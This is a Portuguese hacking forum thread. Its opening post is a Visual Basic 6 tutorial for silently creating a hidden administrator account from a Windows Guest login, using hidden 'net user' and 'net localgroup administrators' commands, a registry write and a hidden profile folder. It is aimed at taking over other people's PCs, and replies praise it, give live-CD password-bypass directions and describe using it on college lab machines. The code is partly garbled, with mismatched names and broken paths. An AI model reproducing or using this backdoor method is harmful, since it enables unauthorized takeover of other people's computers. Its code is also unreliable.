Certo vamos la pessoal
Esse tutoreal foi escrito com Visual Basic 6 ,mais acredito que funciona muito bem com o Visual Basic 5
O que iremos fazer é adicionar uma conta de admin no windows usando uma Shell de windows anomima que so podera ser acessada pelo visual basic
Isso e otimo se você so tiver a conta de visitante!
Porque a conta de visitante permite que você execute executaveis,isso vem muito a acalhar!
Imagine isso:Você esta na casa do seu amigo e ele nao quer le dar a conta dele ,você simplismente loga usando a conta de visitante (se estiver ativado: pressione CTRL+ALT+DEL na tela de login e entre com o usuario "Guest")
e execute esse programa e pronto! você e o admin!
Certo vamos ver o script.
Abra o Visual Basic e selecione Standard Exe.
Agora adicione os seguintes controles para o seu formulario:
QuoteColoque no Form:
=======================
-2 Textboxes(Caixas de texto)
-------------
Nome da primeira Caixa de texto : "tUsername"
Segunda Caixa de Texto: "tPass"
-------------
-2 Commandbuttons(Botões de comando)
-------------
Primeiro Botão : "Criar"
Segundo Botâo : "Sair"
=======================
Agora que o Form esta pronto adicione as seguintes declarações:
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Private Const HKEY_CURRENT_USER = &H80000001
Agora adicione isso no botão "Criar":
On Error Resume Next
pass = tPass.Text
usr = tUser.Text
Shell "net user " & usr & " " & pass & " /add", vbHide
Sleep 1000
Shell "net localgroup administrators " & usr & " /add", vbHide
Dim Value As Long
Value = 1
Result = RegOpenKey(HKEY_LOCAL_MACHINE, "SOFTWARENT", keyres)
Result = RegSetValueEx(keyres, usr, 0, 4, Value, Len(Value))
SetAttr "C:Documents and Settings" & usr, vbHidden
Adicione esse codigo a "Sair":
End
Otimo agora seu programa esta pronto ,agora so resta deixar ele mais invisivel com alguns scripts.
Grave em um disquete e pronto!
Espero ter resolvido alguns casos de alguams pessoas do darkers que queria burlar umas senhas de admin do XP
Fui!!!

Tradução Wolff123
Wolff
Parabéns estava prescisando disso ontem foi uma mão da roda Vlw, Bom post!! Abraços!
Positivo =)
muito bom cara..legal vai ser muito otuil pra muita gente isso....
Realmente, mandou muito bem, parabéns.
Foi vc que criou esse script? Se foi cara, parabéns em dobro.
Ah, caso alguém se sinta triste pq não tem o Visual Basic instalado, basta vafer o seguinte: Abra o Microsft Word, segure Atl e aperte F11, ou ainda vá ao menu Ferramentas, na árte Macro clique em Editor Visual Basic. Fácil né? Díficil é achar um PC que não tenha o Microsoft Office instalado.
Podemos ver se fazemos em outras linguagens, ficar mais completo.
Isso so funciona se tiver a conta de visitante ativada? e como faz para quebrar a senha através do boot do linux?
lcs, você pode fazer assim grave em um cd um livecd da sua escolha pode ser por exemplo o kurumin.
Ai você vai no bios coloca pra começar com o cd(da uma procurada no forum ja foi falado sobre isso).
Aew show de bola... fiz aki no Editor VB do word... 100%.. agora vo fazer em VB em casa pra gerar o executavel hehe parabéns
Muito bom.... parabens!!!
Vou testar e se funfar vai ser muito util pra mim!!!
Parabens
nossa...manero
agora c tivesse um p windows 2000 ia ser perfeito p mim
=p
liozin...ja testou no win2000?
Eu acho bem provável que funcione. Tenta aí, e nos diz se conseguiu.
...by Cloudy
Excelente tópico!!!
Meus parabéns Wolff!!!
um abraço!
Bem interessante.. mas alguém aí realmente tentou pra ver se dá certo?
Eh que ouvi comentários de que não estava funcionando corretamente...
[Wolf123]
Obs: Esqueceu da fonte cara - http://www.hackthissite.org/articles/read/348 (http://www.hackthissite.org/articles/read/348)
[]s
Estou codando em delphi q e so clicar o bota e ele se coloca automaticamente no disquete.
Quote from: "whit3_sh4rk"Bem interessante.. mas alguém aí realmente tentou pra ver se dá certo?
Eh que ouvi comentários de que não estava funcionando corretamente...
Definitivamente não funciona! Esse código cria um novo usuário comum... cheio de restrições!
Bem mesmo n foncionando eu queria saber o que estou a fazer mal para me dar estes erros:
http://img396.imageshack.us/img396/8448/semttulo4ak.gif (//http://img396.imageshack.us/img396/8448/semttulo4ak.gif)
Ainda estou aprender
Showww realmente funciona tow surfando na facul eauheauea os fiscais da sala de info
tão doidãoooo eauyhauea vlw mesmo Wolff... parabens...
BY bbIRo
Bironet que bom que funciona por favor em que OS você usou XP se usou em XP qual a autualizaçao, para que eu posso colocar para o pessoal em que sistema funciona.